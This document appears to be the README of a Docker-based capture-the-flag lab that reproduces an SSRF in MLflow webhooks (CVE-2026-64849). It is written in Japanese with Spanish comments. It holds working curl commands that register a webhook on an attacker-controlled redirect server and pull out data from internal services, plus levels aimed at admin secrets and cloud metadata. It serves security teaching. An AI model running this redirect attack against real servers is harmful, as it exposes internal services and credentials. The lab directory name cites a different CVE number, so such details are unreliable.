CVE-2026-64849 · MLflow < 3.15.0 · サーバーサイドリクエストフォージェリ (SSRF)
CVE-2026-64849 を実践的に再現するラボです。これは MLflow における
SSRF 型の脆弱性で、Webhook 処理の TOCTOU(Time-of-Check /
Time-of-Use)欠陥が原因です。MLflow は Webhook の元の URL を検証しますが、
HTTP リダイレクト(302)を 再検証せずに 追跡するため、認証されていない
攻撃者が本来アクセスできない内部サービス(internal-service:8888)に到達
できます。
使用制限: ラボ用教材であり、許可されたネットワークおよび環境のみを 対象とします。法的通知 を参照してください。
| 属性 | 値 |
|---|
| 脆弱性 | CVE-2026-64849 — Webhook リダイレクトバイパスによる SSRF |
| 影響を受けるコンポーネント | MLflow Tracking Server (< 3.15.0) |
| ラボのバージョン | MLflow 3.13.0(未変更、pip install 経由) |
| 根本原因 | TOCTOU: URL を検証し、再検証せずに 302 を追跡 |
| ベクター | HTTP; 認証なし |
| 宣言された重大度 | CRITICAL (CVSS 9.3) — ラボのエクスプロイトバナーによる |
| 結果 | 内部サービスへのアクセス、認証情報の窃取、ポートスキャン |
| 推定所要時間 | 15〜20 分 |
| レベル | 中級(Web アプリセキュリティ / オフェンシブセキュリティ) |
MLflow では、イベント(モデルデータ、実験など)に応じて HTTP リクエストを トリガーする Webhook を登録できます。URL を保存する前に検証(スキーマ、 プライベート IP、IP メタデータ)が適用されます。問題は次の箇所で発生します:
3xx の場合、requests
ライブラリが自動的にリダイレクトを追跡し、宛先 URL を再検証することは
ありません。攻撃者は最初のホップ(内部サービスに 302 を返すサーバー)を制御し、
MLflow が内部ネットワークへの プロキシ として機能します。
完全な技術分析は EXPLOITATION_GUIDE.md §6 を参照してください。
ラボを完了すると、受講生は次のことができるようになります:
/test のトリガー、内部サービスからのデータ流出という
完全なフローを 再現 する。対象: オフェンシブセキュリティの学生および専門家、ペネトレーションテスター、 アプリケーションセキュリティレビュー担当者、MLflow を使用する開発者。
ソフトウェア要件:
| ツール | 最小バージョン |
|---|---|
| Docker + Docker Compose | Docker 20.x / Compose v2 |
curl | — |
jq | 1.6+ |
bash | — |
MLflow の認証情報や認証は不要です(攻撃は認証なし)。 内部ネットワークへのアクセスは不要: ラボが提供します。
host red interna de Docker (lab_network)
┌──────────────────────────────┐ ┌────────────────────────────────────────────────┐
│ atacante (curl / bash) │ │ │
│ │ │ │ mlflow-vulnerable attacker_server │
│ ▼ │ │ (5000, MLflow 3.13.0) (8080, responder 302) │
│ http://localhost:5000 │ │ │ webhook URL ▲ │
│ http://localhost:8080 │ │ ▼───────────────────────┘ │
│ http://localhost:8888 ✗ │ │ │ 302 Location: internal-service │
│ │ │ ▼ (SSRF, sigue el redirect) │
│ │ │ internal-service (8888) ← SIN puertos al │
│ │ │ "/admin/secret" host │
│ │ └───────────────────────────────────────────────┘
└──────────────────────────────┘
| コンポーネント | ポート | ラボでの役割 | 変更済み? |
|---|---|---|---|
mlflow-vulnerable | 5000 | 被害者 / 脆弱なクライアント(MLflow 3.13.0 ストック) | いいえ |
attacker-server | 8080 | 攻撃者サーバー: /webhook → 302、/redirect?url=、/metadata、ダッシュボード | do_HEAD のみ |
internal-service | 8888 | lab_network 内の被害者; /admin/secret および /api/internal/config | いいえ |
整合性の詳細: 脆弱なサービスと内部サービスは変更されていません。 EXPLOITATION_GUIDE.md §14 を参照してください。
cd mlflow-ssrf-lab
bash run_lab.sh start # levanta los 3 contenedores y espera a MLflow
bash run_lab.sh exploit # explota automáticamente (SSRF → bandera del Nivel 1)
ステップバイステップのガイド付きデモ(対話型メニュー):
bash manual_exploitation_interactive.sh
🏁 CTF モード(手動解決): このラボはレベル制のチャレンジです。各
フラグが次のレベルのヒントを残すため、各フラグに到達することに「意味が
あります」。そして 重要なのは手動で行うことです: ctf_lab.sh はあなたの
代わりにエクスプロイトするのではなく、ガイドとフラグの検証のみを行います:
bash ctf_lab.sh # menú interactivo del CTF
bash ctf_lab.sh nivel 1 # instrucciones + pista del nivel (comandos para EJECUTAR TÚ MANUALMENTE)
bash ctf_lab.sh flag '<flag>' # validar el flag que exfiltraste y decodificaste (+pts)
bash ctf_lab.sh status # niveles completados + puntuación (235 pts, sin mostrar flags)
bash ctf_lab.sh hint 2 # pista de un nivel
bash ctf_lab.sh reset # borrar progreso
run_lab.sh スクリプトのリファレンス:
bash run_lab.sh start # start (default) + status endpoint
bash run_lab.sh exploit # ejecuta exploit.py dentro del contenedor mlflow
bash run_lab.sh manual # muestra los comandos curl paso a paso
bash run_lab.sh logs # sigue los logs en tiempo real
bash run_lab.sh stop # detiene contenedores
bash run_lab.sh clean # detiene y elimina datos del lab
/testへのすべての呼び出しにはContent-Type: application/jsonヘッダーが必要です。これがない場合、MLflow 3.13 は400 Bad Requestを返します。
# 1. Crear el webhook apuntando al servidor del atacante (redirige a la raíz del portal interno, Nivel 1)
WEBHOOK_ID=$(curl -s -X POST http://localhost:5000/api/2.0/mlflow/webhooks \
-H "Content-Type: application/json" \
-d '{"name":"ssrf_test","url":"http://attacker_server:8080/webhook","events":[{"entity":"MODEL_VERSION","action":"CREATED"}]}' \
| jq -r '.webhook.webhook_id')
# 2. Disparar /test → MLflow valida la URL, sigue el 302 hasta el servicio interno
curl -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}'
# 3. Extraer los datos exfiltrados (anidados en result.response_body)
curl -s -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}' \
| jq -r '.result.response_body | fromjson'
ステップ 3 の期待される結果(CTF レベル 1):
{
"service": "internal-admin-portal",
"banner": "Portal administrativo interno — solo alcanzable desde la red interna",
"nivel": 1,
"flag_enc": "ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ==",
"flag_decoding": "echo ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ== | base64 -d",
"pista": "El portal expone recursos bajo /admin/ y /api/. Busca credenciales de administrador."
}
フラグは 暗号化 されて送信され(flag_enc)、応答自体にデコードするための
コマンド(flag_decoding)が含まれています。目標は SSRF 経由でフラグを
流出させてデコードすることです。そしてその pista が
レベル 2 へと導きます。ステップバイステップの詳細、
バグの分析、および緩和策は EXPLOITATION_GUIDE.md に
あります。
このラボは 段階的なレベル制の CTF です。各フラグは次の宛先につながる
pista を残すため、各フラグに到達することに 意味があります。
すべてのレベルは同じ基本テクニック(リダイレクト経由の SSRF)で解決され、
テクニックと発見の難易度が上がります。
| レベル | テクニック / 発見 | 宛先(SSRF) | フラグ | ポイント |
|---|---|---|---|---|
| 1 | 基本的なリダイレクト | internal-service:8888/ | base64 | 10 |
| 2 | /admin/ の列挙 | internal-service:8888/admin/secret | hex | 25 |
| 3 | /api/ の列挙 | internal-service:8888/api/internal/config | base64 | 40 |
| 4 | クラウドメタデータ(IMDS) | internal-service:8888/latest/meta-data/... | base64 + rev | 60 |
| 5(最終) | ブラインド SSRF + ポート 8889 の隠しサービスの発見 | internal-service:8889/admin/final | XOR + base64 | 100 |
フラグは応答の
flag_encフィールドで 暗号化 されて送信され、各応答にはflag_decoding(デコードするための正確なコマンド)が含まれています。 平文のフラグflag{...}は どのスクリプトやドキュメントにも表示されません: SSRF 経由で流出させてデコードする必要があります(自動スクリプトはフラグを 表示しません)。
ラボのルール: フラグは 成功した SSRF(リダイレクト経由の内部サービス
からの実際のデータ流出)に対してのみ付与されます。SSRF ではないもの、または
ラボで再現できないものには フラグは付与されません(例: attacker の
/metadata への直接アクセス、DNS リバインディング、whcli トンネル、
流出のないブラインドスキャン)。
プレイ方法: bash ctf_lab.sh(対話型メニュー)。レベルごとの手動解決は
REDTEAM_GUIDE.md(コマンドごとのオフェンシブ演習)および
EXPLOITATION_GUIDE.md(完全な技術手順)にあります。
ラボの統合中に、以下の修正が適用され、検証済みで、ドキュメントのすべての コマンドに反映されています:
| # | 修正 | 影響 |
|---|---|---|
| 1 | POST /test が Content-Type: application/json(および -d '{}')を送信するようになった | MLflow 3.13 の 400 Bad Request と、response_body 抽出時の jq: null エラーを排除 |
| 2 | attacker_server.py が HEAD メソッド(do_HEAD)をサポート | curl -I .../webhook が 501 Unsupported method ではなく 302 Found を返す |
| 3 | 実際の API POST /api/2.0/mlflow/webhooks の使用 | 存在しないルート(/webhooks/create)の 405 を回避 |
CVE-2026-29000-poc-lab/
├── README.md ← Este archivo (índice / portada del lab)
├── REDTEAM_GUIDE.md ← Ejercicio manual en clave red team: recon → hipótesis → exploit
├── EXPLOITATION_GUIDE.md ← Procedimiento completo del lab (SSRF, variaciones, integridad)
├── manual_exploitation_interactive.sh ← Demo interactiva paso a paso (menú)
└── mlflow-ssrf-lab/ ← Código y orquestación del lab
├── docker-compose.yml ← 3 contenedores (mlflow, attacker, internal)
├── exploit.py ← Exploit automatizado (se ejecuta dentro del contenedor)
├── attacker_server.py ← Servidor del atacante (302 configurable)
├── internal_service.py ← Servicio interno "protegido" (portal 8888 + servicio oculto 8889)
├── ctf_lab.sh ← Guía manual del CTF (instrucciones + pistas + validador de flags)
├── run_lab.sh ← start / exploit / manual / logs / stop / clean
└── mlflow_data/ ← Datos generados (BD sqlite, artefactos)
lab_network 内に攻撃を隔離します。
内部サービスをホストに公開しません。exploit.py はラボ検証ツールであり、シミュレートされた内部ネットワーク上で
MLflow コンテナ内で実行されます(
EXPLOITATION_GUIDE.md §14 を参照)。